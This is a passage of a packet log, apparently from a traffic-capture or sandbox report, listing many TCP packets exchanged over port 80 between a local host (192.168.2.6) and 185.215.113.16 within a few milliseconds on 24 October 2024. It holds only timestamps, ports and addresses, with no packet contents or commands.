Oct 24, 2024 11:02:47.919538975 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.919574976 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.919600010 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.919606924 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.919614077 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.919650078 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.919661999 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.919706106 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.919712067 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.919747114 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.919760942 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.919789076 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.919809103 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.919843912 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.919862986 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.919884920 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.919892073 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.919919968 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.919931889 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.919954062 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.919965982 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.919987917 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.919996977 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.920017958 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.920034885 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.920054913 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.920068026 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.920101881 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.920113087 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.920135975 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.920145035 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.920171976 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.920181990 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.920206070 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.920214891 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.920243979 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.920247078 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.920274019 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.920286894 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.920305014 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.920312881 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.920341015 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.920350075 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.920375109 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.920387983 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.920411110 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.920418978 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.920445919 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.920456886 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.920481920 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.920488119 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.920516968 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.920526028 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.920551062 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.920559883 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.920586109 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.920593977 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.920620918 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.920629978 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.920655012 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.920665979 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.920690060 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.920698881 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.920725107 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.920732975 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.920761108 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.920766115 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.920794964 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.920799971 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.920829058 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.920838118 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.920866966 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.920876980 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.920902014 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.920912027 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.920936108 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.920948029 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.920972109 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.920983076 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.921005964 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.921017885 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.921041012 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.921051025 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.921076059 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.921087027 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.921113014 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.921120882 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.921147108 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.921158075 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.921183109 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.921191931 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.921216965 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.921222925 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.921253920 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.921258926 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.921288967 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.921298027 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.921325922 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.921336889 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.921360016 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.921367884 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.921392918 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.921405077 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.921427011 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.921437025 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.921461105 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.921473026 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.921499014 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.921505928 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.921534061 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.921544075 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.921569109 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.921582937 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.921602964 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.921612024 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.921643972 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.921652079 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.921677113 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.921686888 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.921711922 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.921720028 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.921746016 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.921756029 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.921780109 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.921787977 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.921813965 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.921822071 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.921849012 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.921853065 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.921880007 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.921895981 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.921914101 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.921917915 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.921950102 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.921961069 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.921983957 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.921994925 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.922019005 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.922032118 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.922048092 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.922063112 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.922084093 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.922090054 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.922117949 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.922130108 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.922152996 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.922172070 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.922188044 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.922197104 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.922225952 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.922246933 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.922281027 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.922291994 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.922313929 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.922324896 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.922358036 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.922358036 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.922401905 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.922411919 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.922456980 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.922466993 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.922514915 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.922518015 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.922559023 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.922570944 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.922605991 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.922611952 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.922657013 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.922665119 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.922705889 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.922712088 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.922751904 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.922759056 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.922808886 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.922812939 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.922852039 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.922867060 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.922915936 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.922921896 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.922964096 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.922977924 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.923029900 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.923032999 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.923083067 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.923084974 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.923120975 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.923130989 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.923161983 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.923175097 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.923221111 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.923228025 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.923264027 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.923310041 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.923310041 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.923336029 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.923383951 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.923389912 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.923424959 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.923439980 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.923460007 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.923466921 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.923495054 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.923505068 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.923537016 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.923548937 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.923584938 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.923600912 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.923639059 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.923645020 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.923695087 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.923696041 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.923738956 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.923752069 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.923780918 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.923801899 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.923820972 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.923835039 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.923875093 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.923887014 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.923933029 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.923937082 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.923971891 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.923984051 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.924005032 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.924015999 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.924050093 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.924060106 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.924110889 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.924115896 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.924160957 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.924166918 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.924217939 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.924217939 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.924264908 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.924272060 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.924304962 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.924319983 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.924340010 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.924350023 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.924375057 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.924384117 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.924410105 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.924424887 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.924444914 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.924458027 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.924479008 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.924485922 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.924514055 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.924525976 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.924549103 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.924555063 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.924585104 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.924590111 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.924621105 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.924628973 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.924664021 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.924669981 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.924700022 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.924710989 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.924735069 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.924746037 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.924771070 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.924782038 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.924804926 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.924817085 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.924839973 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.924849987 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.924874067 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.924892902 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.924906969 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.924920082 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.924937963 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.924948931 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.924972057 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.924983978 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925005913 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925019979 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925040007 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925050974 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925074100 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925081015 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925103903 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925115108 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925137997 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925148010 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925177097 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925182104 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925210953 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925245047 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925247908 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925263882 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925277948 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925293922 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925311089 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925319910 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925345898 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925363064 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925379038 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925390005 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925414085 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925415993 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925448895 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925460100 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925482988 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925492048 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925517082 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925518036 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925553083 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925580978 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925585032 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925600052 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925612926 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925626040 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925631046 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925647974 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925652981 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925663948 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925669909 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925679922 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925683975 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925698042 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925705910 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925717115 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925724983 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925734997 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925739050 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925754070 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925760031 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925769091 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925774097 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925790071 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.925796032 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.925806999 CEST	80	49854	185.215.113.16	192.168.2.6
